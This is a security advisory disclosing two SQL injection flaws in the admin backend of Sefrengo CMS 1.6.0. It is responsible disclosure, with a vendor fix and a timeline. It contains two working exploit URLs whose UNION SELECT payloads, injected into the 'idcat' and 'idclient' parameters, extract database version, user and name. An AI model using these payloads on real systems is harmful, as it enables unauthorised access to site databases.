Advisory: SQL-Injection in administrative Backend of Sefrengo CMS v.1.6.0
Advisory ID: SROEADV-2015-04
Author: Steffen Rösemann
Affected Software: CMS Sefrengo v.1.6.0 (Release-Date: 18th-Feb-2014)
Vendor URL: https://www.sefrengo.org/start/start.html
Vendor Status: fixed
CVE-ID: -

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Vulnerability Description:
==========================

The Content Management System Sefrengo v.1.6.0 contains SQL-Injection
vulnerabilities in its administrative Backend.

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Technical Details:
==================

The administrative Backend of Sefrengo CMS contains a functionality to edit
folders which reside on the CMS. Its located here:

https://{TARGET}/backend/main.php?area=con_configcat&idcat=1&idtplconf=0

The parameter „idcat“ ist vulnerable against SQL-Injection. An attacker
could abuse this to send crafted URLs to the administrator via mail to
execute own SQL commands (e.g. create a second admin-account).

Exploit-Example:

https://
{TARGET}/backend/main.php?area=con_configcat&idcat=1'+and+'1'='2'+union+select+version(),user(),3,4+--+&idtplconf=0

Another SQL-Injection vulnerability can be found in the administrative
backend, where the admin can manage installed plugins. The vulnerable
parameter is „idclient“ in the following URL:

https://{TARGET}/backend/main.php?area=plug&idclient=1

Exploit-Example:

https://
{TARGET}/backend/main.php?area=plug&idclient=1%27+and+%271%27=%272%27+union+select+1,version%28%29,user%28%29,4,database%28%29,6,7,8,9,10,11,12,13,14+--+

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Solution:
=========

Update to the latest version

====================
Disclosure Timeline:
====================
21-Dec-2014 –found the vulnerability
21-Dec-2014 - informed the developers
22-Dec-2014 - response by vendor
04-Jan-2015 – fix by vendor
04-Jan-2015 - release date of this security advisory
04-Jan-2015 - post on BugTraq / FullDisclosure

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Credits:
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Vulnerability found and advisory written by Steffen Rösemann.

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References:
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https://www.sefrengo.org/start/start.html
https://sroesemann.blogspot.de